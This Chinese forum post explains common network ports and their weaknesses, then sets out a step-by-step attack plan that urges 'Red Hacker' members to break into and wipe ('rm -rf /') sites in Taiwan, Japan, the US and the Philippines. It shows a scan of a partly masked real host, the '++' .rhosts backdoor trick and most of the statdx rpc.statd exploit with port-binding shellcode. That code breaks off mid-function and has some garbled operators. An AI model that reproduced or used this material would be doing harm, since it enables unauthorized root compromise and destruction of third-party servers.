返回列表 回复 发帖

常见端口详解及部分攻击策略

1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,
缺省情况下tcpmux在这种系统中被打开。
Iris机器在发布时含有几个缺省的无密码的帐户,如lp, guest, uucp, nuucp,
demos, tutor, diag, EZsetup, OutOfBox,
和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上
搜索tcpmux并利用这些帐户。
7 Echo 你能看到许多人们搜索Fraggle放大器时,发送到x.x.x.0和x.x.x.255
的信息。
常见的一种DoS攻击是echo循环(echo-loop),攻击者伪造从一个机器发送到
另一个机器的UDP数据包,而两个机器分别以
它们最快的方式回应这些数据包。(参见Chargen)
另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫
做“Resonate Global Dispatch”,它与DNS的这一端
口连接以确定最近的路由。
Harvest/squid cache将从3130端口发送UDP echo:“如果
将cache的source_ping on选项打开,它将对原始主机的UDP echo
端口回应一个HIT reply。”这将会产生许多这类数据包。
11 sysstat 这是一种UNIX服务,它会列出机器上所有正在运行的进程以及是什
么启动了这些进程。这为入侵者提供了许多信
息而威胁机器的安全,如暴露已知某些弱点或帐户的程序。这与UNIX系统
中“ps”命令的结果相似
再说一遍:ICMP没有端口,ICMP port 11通常是ICMP type=11
19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含
有垃圾字符的包。TCP连接时,会发送含有垃
圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个
chargen服务器之间的UDP包。由于服务器企
图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器
过载。同样fraggle DoS攻击向目标地址的这
个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载

21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些
服务器带有可读写的目录。Hackers或Crackers
利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索
引擎分类)的节点。
22 ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有
许多弱点。如果配置成特定的模式,许多使用
RSAREF库的版本有不少漏洞。(建议在其它端口运行ssh)
还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫
描整个域的ssh主机。你有时会被使用这一程
序的人无意中扫描到。
UDP(而不是TCP)与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描
。5632(十六进制的0x1600)位交换后是0x0016
(使进制的22)。
23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一
端口是为了找到机器运行的操作系统。此外使
用其它技术,入侵者会找到密码。
25 smtp 攻击者(spammer)寻找SMTP服务器是为了传递他们的spam。入侵者的
帐户总被关闭,他们需要拨号连接到高带宽
的e-mail服务器上,将简单的信息传递到不同的地址。SMTP服务器(尤其
是sendmail)是进入系统的最常用方法之一,因为
它们必须完整的暴露于Internet且邮件的路由是复杂的(暴露+复杂=弱点)。
53 DNS Hacker或crackers可能是试图进行区域传递(TCP),欺骗DNS(UDP)
或隐藏其它通讯。因此防火墙常常过滤或记录
53端口。
需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种
通讯并假设这是对DNS查询的回复。Hacker常
使用这种方法穿透防火墙。
67和68 Bootp和DHCP UDP上的Bootp/DHCP:通过DSL和cable-modem的防火墙常
会看见大量发送到广播地址255.255.255.255的
数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一
个地址把自己作为局部路由器而发起大量的
“中间人”(man-in-middle)攻击。客户端向68端口(bootps)广播请求配置
,服务器向67端口(bootpc)广播回应请求。
这种回应使用广播是因为客户端还不知道可以发送的IP地址。
69 TFTP(UDP) 许多服务器与bootp一起提供这项服务,便于从系统下载启
动代码。但是它们常常错误配置而从系统
提供任何文件,如密码文件。它们也可用于向系统写入文件。
79 finger Hacker用于获得用户信息,查询操作系统,探测已知的缓冲区溢出
错误,回应从自己机器到其它机器finger扫描。
98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器
在98端口提供基于Web界面的服务。它已发现有
许多安全问题。一些版本setuid root,信任局域网,在/tmp下建立Internet可
访问的文件,LANG环境变量有缓冲区溢出。此
外因为它包含整合的服务器,许多典型的HTTP漏洞可能存在(缓冲区溢出,历
遍目录等)
109 POP2 并不象POP3那样有名,但许多服务器同时提供两种服务(向后兼容)
。在同一个服务器上POP3的漏洞在POP2中同样
存在。
110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。
关于用户名和密码交换缓冲区溢出的弱点至少
有20个(这意味着Hacker可以在真正登陆前进入系统)。成功登陆后还有其它
缓冲区溢出错误。
111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper
是扫描系统查看允许哪些RPC服务的最早的一步。
常见RPC服务有:rpc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等
。入侵者发现了允许的RPC服务将转向提供服务
的特定端口测试漏洞。
记住一定要记录线路中的daemon, IDS, 或sniffer,你可以发现入侵者正使用
什么程序访问以便发现到底发生了什么。
113 Ident auth 这是一个许多机器上运行的协议,用于鉴别TCP连接的用户。
使用标准的这种服务可以获得许多机器的信息
(会被Hacker利用)。但是它可作为许多服务的记录器,尤其是FTP, POP,
IMAP, SMTP和IRC等服务。通常如果有许多客户通
过防火墙访问这些服务,你将会看到许多这个端口的连接请求。记住,如果你
阻断这个端口客户端会感觉到在防火墙另一边与
e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回RST,
着将回停止这一缓慢的连接。
119 NNTP news 新闻组传输协议,承载USENET通讯。当你链接到诸
如:news://comp.security.firewalls/. 的地址
时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。
多数ISP限制只有他们的客户才能访问他们的新闻
组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组
服务器,匿名发帖或发送spam。
135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC
end-point mapper为它的DCOM服务。这与UNIX 111
端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的end-point mapper
注册它们的位置。远端客户连接到机器时,它们查
询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了
找到诸如:这个机器上运行Exchange Server吗?
是什么版本?
这个端口除了被用来查询服务(如使用epdump)还可以被用于直接攻击。有一
些DoS攻击直接针对这个端口。
137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息,
请仔细阅读文章后面的NetBIOS一节
139 NetBIOS
File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务
。这个协议被用于Windows“文件和打印机共享”
和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。
大量针对这一端口始于1999,后来逐渐变少。2000年又有回升。一些VBS(IE5
VisualBasic Scripting)开始将它们自己拷贝到
这个端口,试图在这个端口繁殖。
143 IMAP 和上面POP3的安全问题一样,许多IMAP服务器有缓冲区溢出漏洞运行
登陆过程中进入。记住:一种Linux蠕虫(admw0rm)
会通过这个端口繁殖,因此许多这个端口的扫描来自不知情的已被感染的用户
。当RadHat在他们的Linux发布版本中默认允许IMAP
后,这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。
这一端口还被用于IMAP2,但并不流行。
已有一些报道发现有些0到143端口的攻击源于脚本。
161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和
运行信息都储存在数据库中,通过SNMP客获得
这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用
缺省的密码“public”“private”访问系统。他
们可能会试验所有可能的组合。
SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP
JetDirect remote management软件使用SNMP。
HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名,你会看
见这种包在子网内广播(cable modem, DSL)
查询sysName和其它信息。
162 SNMP trap 可能是由于错误配置
177 xdmcp 许多Hacker通过它访问X-Windows控制台, 它同时需要打开6000端
口。
513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广
播。这些人为Hacker进入他们的系统提供了很
有趣的信息。
553 CORBA
IIOP (UDP) 如果你使用cable modem或DSL VLAN,你将会看到这个端口的广播
。CORBA是一种面向对象的RPC(remote procedure
call)系统。Hacker会利用这些信息进入系统。
600 Pcserver backdoor 请查看1524端口
一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻
破了系统-- Alan J. Rosenthal.
635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这
个端口的扫描是基于UDP的,但基于TCP的
mountd有所增加(mountd同时运行于两个端口)。记住,mountd可运行于任何
端口(到底在哪个端口,需要在端口111做
portmap查询),只是Linux默认为635端口,就象NFS通常运行于2049端口。
1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎
用哪个端口连接网络,它们请求操作系统为
它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第
一个向系统请求分配动态端口的程序将被分配
端口1024。为了验证这一点,你可以重启机器,打开Telnet,再打开一个窗口
运行“natstat -a”,你将会看到Telnet被分
配1024端口。请求的程序越多,动态端口也越多。操作系统分配的端口将逐渐
变大。再来一遍,当你浏览Web页时用“netstat”
查看,每个Web页需要一个新端口。
1025 参见1024
1026 参见1024
1080 SOCKS
这一协议以管道方式穿过防火墙,允许防火墙后面的许多人通过一个IP地址
访问Internet。理论上它应该只允许内部的
通信向外达到Internet。但是由于错误的配置,它会允许Hacker/Cracker的
位于防火墙外部的攻击穿过防火墙。或者简
单地回应位于Internet上的计算机,从而掩饰他们对你的直接攻击。WinGate
是一种常见的Windows个人防火墙,常会发
生上述的错误配置。在加入IRC聊天室时常会看到这种情况。
1114 SQL
系统本身很少扫描这个端口,但常常是sscan脚本的一部分。
1243 Sub-7木马(TCP)
参见Subseven部分。
1524 ingreslock后门
许多攻击脚本将安装一个后门Shell于这个端口(尤其是那些针对Sun系统
中Sendmail和RPC服务漏洞的脚本,如statd,
ttdbserver和cmsd)。如果你刚刚安装了你的防火墙就看到在这个端口上的
连接企图,很可能是上述原因。你可以试试
Telnet到你的机器上的这个端口,看看它是否会给你一个Shell。连接
到600/pcserver也存在这个问题。
2049 NFS
NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪
个端口,但是大部分情况是安装后NFS运行于
这个端口,Hacker/Cracker因而可以闭开portmapper直接测试这个端口。
3128 squid
这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一
个代理服务器而匿名访问Internet。你也会看
到搜索其它代理服务器的端口:8000/8001/8080/8888。扫描这一端口的另一
原因是:用户正在进入聊天室。其它用户
(或服务器本身)也会检验这个端口以确定用户的机器是否支持代理。请查
看5.3节。
5632 pcAnywere
你会看到很多这个端口的扫描,这依赖于你所在的位置。当用户打
开pcAnywere时,它会自动扫描局域网C类网以寻找可能
得代理(译者:指agent而不是proxy)。Hacker/cracker也会寻找开放这种
服务的机器,所以应该查看这种扫描的源地址。
一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。参见拨号扫描。
6776 Sub-7 artifact
这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者
通过电话线控制另一台机器,而被控机器挂断
时你将会看到这种情况。因此当另一人以此IP拨入时,他们将会看到持续的
,在这个端口的连接企图。(译者:即看到
防火墙报告这一端口的连接企图时,并不表示你已被Sub-7控制。)
6970 RealAudio
RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是
由TCP7070端口外向控制连接设置的。
13223 PowWow
PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连
接。这一程序对于建立连接非常具有“进攻性”。
它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如
果你是一个拨号用户,从另一个聊天者手中
“继承”了IP地址这种情况就会发生:好象很多不同的人在测试这一端口。
这一协议使用“OPNG”作为其连接企图的前四
个字节。
17027 Conducent
这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot"
的共享软件。Conducent "adbot"是为共享软件
显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验:阻
断这一外向连接不会有任何问题,但是封掉IP
地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载:机器
会不断试图解析DNS名—ads.conducent.com,
即IP地址216.33.210.40 ;216.33.199.77 ;216.33.199.80
;216.33.199.81;216.33.210.41。(译者:不知NetAnts使
用的Radiate是否也有这种现象)
27374 Sub-7木马(TCP)
参见Subseven部分。
30100 NetSphere木马(TCP)
通常这一端口的扫描是为了寻找中了NetSphere木马。
31337 Back Orifice “elite”
Hacker中31337读做“elite”/ei’li:t/(译者:法语,译为中坚力量,精
华。即3=E, 1=L, 7=T)。因此许多后门程序运
行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这
是Internet上最常见的扫描。现在它的流行越来越少,
其它的木马程序越来越流行。
31789 Hack-a-tack
这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马(RAT, Remote
Access Trojan)。这种木马包含内置的31790
端口扫描器,因此任何31789端口到317890端口的连接意味着已经有这种入侵
。(31789端口是控制连接,317890端口是文
件传输连接)
32770~32900 RPC服务
Sun Solaris的RPC服务在这一范围内。详细的说:早期版本
的Solaris(2.5.1之前)将portmapper置于这一范围内,即使
低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这一范围
内的端口不是为了寻找portmapper,就是为了
寻找可被攻击的已知的RPC服务。
33434~33600 traceroute
如果你看到这一端口范围内的UDP数据包(且只在此范围之内)则可能是由于
traceroute。参见traceroute部分。
41508 Inoculan
早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此。

常见端口详解及部分攻击策略

攻击一般来说分为以下几个步骤:
1. 确立目标
2. 扫描.
3. 探测漏洞并且进行分析
4. 找对应的exploit程序.
5. 编译程序,并且运行. 测试是否获得root权限
6. 视情况修改站点主页或者通知webmaster,或者来个rm –rf /进行彻底破坏.
7. 打扫战场,决定是否留后门
8. game ove ,可以去吃饭或者睡觉了(别打我)
下面详细说明:
一. 确立目标.
近段时期老是发生另国人愤慨的一些事情.台湾的台独分子、日本的修改教科书以及这几天的美国无理撞毁我战斗机的事件等等都令广大热血青年愤慨不已.作为红客联盟的一员,我们有必要对这些反华势力站点置以毁灭性的一击.
所以目标缩定:台湾的台独网站,日本的反华势力网站,美国的某些站点(这个就步用我多说了吧).当然还可以加上菲律宾的嚣张势力网站.
二. 扫描.
以前lion以及很多热心的红客联盟网友公布了台湾,日本,以及美国的IP分配表.
1. 如果你想直接扫描,如果是win系统,推荐使用以前联盟公布的superscan程序,扫描速度快..并且能自定义扫描端口以及timed out值.还可以返回对方端口的响应.如果是unix/linux系统,推荐使用nmap程序.
2. 如果想在肉鸡上扫描,请使用nmap程序.
这里不详细说明如何使用nmap以及superscan的方法.
以扫描210.59.*.*为例.(为防泄露,隐去改IP.)调用superscan,填入IP,选好要扫描的端口范围,然后开始.扫描结果如下:
* + 210.59.*.*
___ 21 File Transfer Protocol [Control]
___ 22 SSH Remote Login Protocol
___ SSH-1.99-OpenSSH_2.1.1.
___ 23 Telnet
___ ..... ..#..'
___ 25 Simple Mail Transfer
___ 220 ep1.eparty.com.tw ESMTP Sendmail 8.11.0/8.11.0; Thu, 11 Jan 2001 13:32:10 +0800..
___ 53 Domain Name Server
___ 79 Finger
___ 80 World Wide Web HTTP
___ HTTP/1.1 200 OK..Date: Thu, 11 Jan 2001 05:32:08 GMT..Server: Apache/1.3.12 (Unix) (Red Hat/Linux) mod_ssl/2.6.6 OpenSSL/0.9.5
___ 111 SUN Remote Procedure Call
___ 443 https
___ 513 Remote login
___ 514 cmd
___ 1024 Motorola Cable Modem Telnet
___ 3306 mysql
___ G....j.Host '210.43.195.200' is not allowed to connect to this MySQL server
三. 探测漏洞并且分析.
通过扫描的结果可以得知对方主机开了以上几个端口.
Ⅰ.关于21端口,可能存在的漏洞是ftpd的漏洞,如果允许匿名用户(anonymous)登陆,而且存在可写的目录.
在linux主机上最常用的ftpd是wu_ftpd.并且通常是2.6.0版本.在www.hack.co.za上面早就公布了该漏洞的exploit程序.如果对方ftpd恰好是2.6.0或者以下,允许匿名登陆,并且存在可写目录,那么这台机器就是你的了J.而由此推断,如果你拥有改主机的任何一个可以ftp的用户名和密码,那么这台主机同样可以被攻击.
Ⅱ.关于22端口.这是ssh端口.理论上任何小于2.2.0版本的sshd都可以被攻击..不过我现在还没有测试过.J
Ⅲ.关于23端口.我们可以从这里取得一些基本信息…有很多站点缺省的/etc/issue.net没有修改,当我们telnet上去后就可以得到对方的主机名以及系统版本.当然,对于没有打补丁的IRIX unix,我们可以直接利用telnetd的漏洞进行攻击,得到root权限.
Ⅳ.25端口.sendmail端口.8.9的版本都只能进行dos攻击.而freebsd的8.8.3版本可以远程溢出获得shell.一般我们直接telnet 上25端口,然后使用VRFY命令来校验该主机用户.比如:VRFY bkbll.
Ⅴ.53端口.就是DNS端口了..这里当前存在最大的隐患就是bind攻击.对于bind8.2的DNS服务器我们可以利用lion worm来远程获得root shell.探测对方bind版本命令: dig @IP txt chaos version.bind.
Ⅵ.79端口.finger端口.老问题.可以探测当前登陆的用户名.方法:finger @IP.
Ⅶ.80端口.在linux和unix系统下面好象作用不大,在NT下就主要靠它了J.不过许多CGI程序设置不当,没有处理那些边界条件,造成溢出可以浏览硬盘上的文件.ps.可以telnet IP 80,GET得到对方服务器的类型.
Ⅷ. 111端口.当前最流行的攻击.可以远程得到root的shell.可以利用rpcinfo –p IP得到对方开放的r系列服务.linux存在stad漏洞,sun存在cmsd漏洞.
Ⅸ.443端口.没有利用过.
Ⅹ.513端口.rlogin的端口.如果你向服务器发送一条echo “++”>/.rhost命令并且成功执行的话,那么当你rlogin IP的时候就不用输入密码.
Ⅺ.514端口.远程执行命令.好象没有什么漏洞.
Ⅻ.1024没有用过.
ⅩⅢ.3306端口.mysql.www.hack.co.za上面公布了几个exploit四. 找exploit程序.
上面介绍了这么多的漏洞,似乎root权限唾手可得…其实不然.有时候明明存在的漏洞,当你编译好程序攻击的时候,需要猜测n多次的offset值.这里给出一个常用的程序for linux statd的。
/**
*** $ gcc -o statdx statdx.c ; ./statdx -h
*** buffer -> This is the address you'll need (-a and -l options)
*** str -> Process-supplied string; 24 bytes long
*** 4 -> Duplicate dwords to satisfy the %!d specifiers and
*** the double %n when two successive values are equal
*** r -> Stack position of saved eip
*** %8x.. -> Wipes the va_list dword and str; 9 by default (-w option)
*** %!x -> Used for padding to form an aggregate overwrite value;
*** the exclamation mark denotes a field width. This may
*** or may not be present, depending on the value. An
*** algorithm is used to allow tricky values.
*** %n -> Writes overwrite value to the corresponding address
*** sc -> Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo head -1 sed 's/.*(//' \
*** awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024
#define max(a,b) ((a)>(b)?(a)b))
#define NOP 0x90
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c" /* jmp 0x7c */
/* kungfu: ------------------------------------------------------------ */
"\x59" /* popl %ecx */
"\x89\x41\x10" /* movl %eax,0x10(%ecx) */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08" /* movl %eax,0x8(%ecx) */
"\xfe\xc0" /* incb %al */
"\x89\x41\x04" /* movl %eax,0x4(%ecx) */
"\x89\xc3" /* movl %eax,%ebx */
"\xfe\xc0" /* incb %al */
"\x89\x01" /* movl %eax,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02" /* movb $0x2,%bl */
"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */
"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */
"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */
"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */
"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */
"\x88\x01" /* movb %al,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04" /* movb $0x4,%bl */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05" /* movb $0x5,%bl */
"\x30\xc0" /* xorb %al,%al */
"\x88\x41\x04" /* movb %al,0x4(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce" /* movl %ecx,%esi */
"\x88\xc3" /* movb %al,%bl */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */
"\x30\xc0" /* xorb %al,%al */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x0c" /* movl %esi,0xc(%esi) */
"\x8d\x56\x10" /* leal 0x10(%esi),%edx */
"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */
"\x89\xf3" /* movl %esi,%ebx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01" /* movb $0x1,%al */
"\xcd\x80" /* int $0x80 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff"; /* call -0x81 */
enum res
{ stat_succ,
stat_fail
};
struct sm_name
{ char *mon_name;
};
struct sm_stat_res
{ enum res res_stat;
int state;
};
struct type
{ int type;
char *desc;
char *code;
u_long bufpos;
int buflen;
int offset;
int wipe;
};
struct type types[] =
{ {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
{1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
{2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
{0, NULL, NULL, 0, 0, 0, 0}
};
bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{ if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
return (FALSE);
return (TRUE);
}
bool_t
xdr_res(XDR *xdrs, enum res *objp)
{ if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{ if (!xdr_res(xdrs, &objp->res_stat))
return (FALSE);
if (!xdr_int(xdrs, &objp->state))
return (FALSE);
return (TRUE);
}
void
usage(char *app)
{
int i;
fprintf(stderr, "statdx by ron1n \n");
fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] \n");
fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
fprintf(stderr, "-p\trpc.statd serves requests on [query]\n");
fprintf(stderr, "-a\tthe stack address of the buffer is \n");
fprintf(stderr, "-l\tthe length of the buffer is [1024]\n");
fprintf(stderr, "-o\tthe offset to return to is [600]\n");
fprintf(stderr, "-w\tthe number of dwords to wipe is [9]\n");
fprintf(stderr, "-s\tset timeout in seconds to [5]\n");
fprintf(stderr, "-d\tuse a hardcoded \n");
fprintf(stderr, "Available types:\n");
for(i = 0; types.desc; i++)
fprintf(stderr, "%d\t%s\n", types.type, types.desc);
exit(EXIT_FAILURE);
}
void
runshell(int sockd)
{ char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "cd /; ls -alF; id;\n", 19, 0);
for(;
{ FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{ perror("select()");
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{ bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{ perror("recv()");
exit(EXIT_FAILURE);
}
if(!ret)
{ fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
errno = 0;
if(send(sockd, buff, ret, 0) != ret)
{
if(errno) perror("send()");
else fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
void
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(39168);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket()");
exit(EXIT_FAILURE);
}
if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
{
printf("OMG! You now have rpc.statd technique!@#$!\n");
runshell(sockd);
}
close(sockd);
}

char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
int i, j, cnt, pad;
char pbyte, *buff, *ptr;
u_long retpos;
u_long dstpos;

while(bufpos % 4) bufpos--;
/* buflen + ebp */
retpos = bufpos + buflen + 4;
/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/
pbyte = retpos & 0xff;
/* Yes, it's 0x24 */
if(pbyte == 0x00 pbyte == 0x24)
{
fprintf(stderr, "Target address space contains a poison char\n");
exit(EXIT_FAILURE);
}
/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/
/* str */
cnt = 24;
/* 1 = process nul */
buflen -= cnt + 1;
if(!(buff = malloc(buflen + 1)))
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ptr = buff;
memset(ptr, NOP, buflen);
for(i = 0; i < 4; i++, retpos++)
{
/* junk dword */
for(j = 0; j < 4; j++)
*ptr++ = retpos >> j * 8 & 0xff;
/* r + i */
memcpy(ptr, ptr - 4, 4);
ptr += 4; cnt += 8;
}
/* restore */
retpos -= 4;
for(i = 0; i < wipe; i++)
{
/* consistent calculations */
strncpy(ptr, "%8x", 3);
ptr += 3; cnt += 8;
}
dstpos = bufpos + offset;
/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/
for(i = 0; i < 4; i++)
{
pad = dstpos >> i * 8 & 0xff;
if(pad == (cnt & 0xff))
{
sprintf(ptr, "%%n%%n");
ptr += 4; continue;
}
else
{
int tmp;
/* 0xffffffff = display count of 8 */
while(pad < cnt pad % cnt <= 8) pad += 0x100;
pad -= cnt, cnt += pad;
/* the source of this evil */
tmp = sprintf(ptr, "%%%dx%%n", pad);
ptr += tmp;
}
}
*ptr = NOP;
/* plug in the shellcode */
memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
buff[buflen] = '\0';
printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
printf("wiping %d dwords\n", wipe);
return buff;
}
struct in_addr
getip(char *host)
{
struct hostent *hs;
if((hs = gethostbyname(host)) == NULL)
{
herror("gethostbyname()");
exit(EXIT_FAILURE);
}
return *((struct in_addr *) hs->h_addr);
}

int
main(int argc, char **argv)
{
int ch;
char *buff;
CLIENT *clnt;
enum clnt_stat res;
struct timeval tv, tvr;
struct sm_name smname;
struct sm_stat_res smres;
struct sockaddr_in addr;
int type = -1;
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;
int sockp = RPC_ANYSOCK;
extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;

while((ch = getopt(argc, argv, "tp:a:l:w:s:d:")) != -1)
{
switch(ch)
{
case 't': usetcp = 1; break;
case 'p': sscanf(optarg, "%hu", &port); break;
case 'a': sscanf(optarg, "%lx", &bufpos); break;
case 'l': buflen = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
case 's': timeout = atoi(optarg); break;
case 'w': wipe = atoi(optarg); break;
case 'd': type = atoi(optarg); break;
default : usage(argv[0]);
}
}
if(!(target = argv[optind]))
{
fprintf(stderr, "No target host specified\n");
exit(EXIT_FAILURE);
}
if(type >= 0)
{
if(type >= sizeof types / sizeof types[0] - 1)
{
fprintf(stderr, "Invalid type\n");
exit(EXIT_FAILURE);
}
sc = types[type].code;
bufpos = types[type].bufpos;
buflen = types[type].buflen;
offset = types[type].offset;
wipe = types[type].wipe;
}
if(!bufpos)
{
